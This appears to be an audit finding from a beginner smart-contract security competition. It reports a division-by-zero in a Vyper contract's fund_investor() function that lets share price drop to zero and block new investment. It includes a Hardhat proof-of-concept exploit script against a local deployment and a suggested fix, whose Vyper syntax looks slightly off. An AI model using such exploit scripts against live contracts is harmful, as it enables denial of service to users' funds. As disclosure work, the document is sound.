Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Division-by-zero in fund_investors()

Author Revealed upon completion

Root + Impact

Description

  • The fund_investor() function in the Cyfrin_Hub.vy allows public users to invest ETH in exchange for shares

  • Now in the following vyper code if self.issued_shares>0 but net_worth<issued_shares then net_worth // issued_shares == 0 that makes share_price =0 and msg.value // share_price is a division-by-zero causing immediate revert

share_price: uint256 = (
net_worth // max(self.issued_shares, 1)
if self.issued_shares > 0
else INITIAL_SHARE_PRICE
)
new_shares: uint256 = msg.value // share_price

Risk

Likelihood:

  • An Attacker(or naturally possible state) can cause share_price=0 and prevent anyone from buying shares causing Denial of Service.

Impact:

  • Denial of Funding

  • Unexpected Reverts and Availability Issues in production

Proof of Concept

// PoC: division-by-zero in fund_investor()
// Run with: npx hardhat run --network localhost scripts/poc-division-by-zero.js
// Requirements: Hardhat + compiled artifact named "CompanyGame" (the Vyper contract).
const { ethers } = require("hardhat");
async function main() {
const [owner, investor1, investor2] = await ethers.getSigners();
// 1) Deploy the vulnerable contract as `owner`
const Company = await ethers.getContractFactory("CompanyGame", owner);
const company = await Company.deploy(); // Vyper/Hardhat setup must provide this artifact
await company.deployed();
console.log("Company deployed to:", company.address);
console.log("Owner:", owner.address);
// Helper constants from the Vyper contract (values from the contract you provided)
const INITIAL_SHARE_PRICE = ethers.BigNumber.from("1000000000000000"); // 1e15 wei (0.001 ETH)
const PRODUCTION_COST = ethers.BigNumber.from("10000000000000000"); // 1e16 wei (0.01 ETH)
// 2) investor1 mints a very large number of shares while issued_shares == 0
// Use a large value so issued_shares becomes huge.
const investor1_value = ethers.utils.parseEther("1000"); // 1000 ETH
console.log("Investor1 will send (wei):", investor1_value.toString());
// fund_cyfrin(action=1) routes to fund_investor()
await company.connect(investor1).fund_cyfrin(1, { value: investor1_value });
console.log("Investor1 funded contract. Issued shares:", (await company.issued_shares()).toString());
console.log("Company internal balance (company_balance):", (await company.get_balance()).toString());
// 3) Owner drains almost all funds by producing many items
// Compute amount so produce_cost ~= almost all company_balance
const compBal = await company.get_balance(); // company_balance in wei (internal)
// choose produce_count = floor(compBal / PRODUCTION_COST) - 1 (leave small remainder)
let produce_count = compBal.div(PRODUCTION_COST);
if (produce_count.gt(1)) {
produce_count = produce_count.sub(1);
} else {
produce_count = ethers.BigNumber.from(0);
}
if (produce_count.gt(0)) {
await company.connect(owner).produce(produce_count);
console.log("Owner produced items to drain funds, amount:", produce_count.toString());
} else {
console.log("Produce count is zero (company balance too small to drain).");
}
const netWorthAfter = await company.get_balance();
const issued = await company.issued_shares();
console.log("After produce -> company_balance (internal):", netWorthAfter.toString());
console.log("Issued shares:", issued.toString());
// Quick sanity: compute potential share_price = netWorthAfter // issued
let sharePrice = ethers.BigNumber.from(0);
if (issued.isZero()) {
sharePrice = INITIAL_SHARE_PRICE;
} else {
sharePrice = netWorthAfter.div(issued);
}
console.log("Computed share_price (wei):", sharePrice.toString());
// 4) Now investor2 attempts to buy shares with a small amount => division-by-zero expected
// Use a small buy amount to trigger the bad path.
const investor2_value = ethers.utils.parseEther("0.1"); // 0.1 ETH
console.log("\nInvestor2 trying to buy shares (this should revert with division by zero if bug present) ...");
try {
const tx = await company.connect(investor2).fund_cyfrin(1, { value: investor2_value });
await tx.wait();
console.log("Unexpected: investor2 purchase succeeded. No division-by-zero happened.");
} catch (err) {
// Expected: division by zero revert thrown by the EVM / Vyper
console.error("Investor2 purchase reverted as expected. Error:");
console.error(err.message || err);
console.log("\nThis revert indicates share_price computed to zero and subsequent division-by-zero occurred in fund_investor().");
}
}
main()
.then(() => process.exit(0))
.catch(err => {
console.error(err);
process.exit(1);
});

issued_shares == 0 on the first fund path uses INITIAL_SHARE_PRICE — investor1 buys a huge number of shares, making issued_shares very large. This also increases company_balance by the same large ETH amount.

  • The owner then calls produce(...) to spend almost all the contract’s internal company_balance, leaving net_worth very small (a small number of wei). issued_shares remains the huge number minted earlier.

  • When investor2 calls fund_investor() (via fund_cyfrin(1)), the contract computes:

    share_price = net_worth // issued_shares
    new_shares = msg.value // share_price

    With net_worth < issued_shares, share_price becomes 0. The msg.value // share_price causes a division-by-zero, which reverts the transaction.

Recommended Mitigation

Either set share_price to a minimum 1 wei or when share_price equals 0 or If you prefer to reject purchases when price would be zero then put assert share_price > 0, "Share price computed to 0; cannot buy"

- share_price: uint256 = (
- net_worth // max(self.issued_shares, 1)
- if self.issued_shares > 0
-else INITIAL_SHARE_PRICE
- )
+ if self.issued_shares == 0:
+ share_price:uint256 = INITIAL_SHARE_PRICE
+ else:
+ share_price = net_worth // self.issued_shares
+ #force minimum price to prevent division-by-zero
+ if share_price == 0:
+ share_price=1 # 1 wei minimum price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.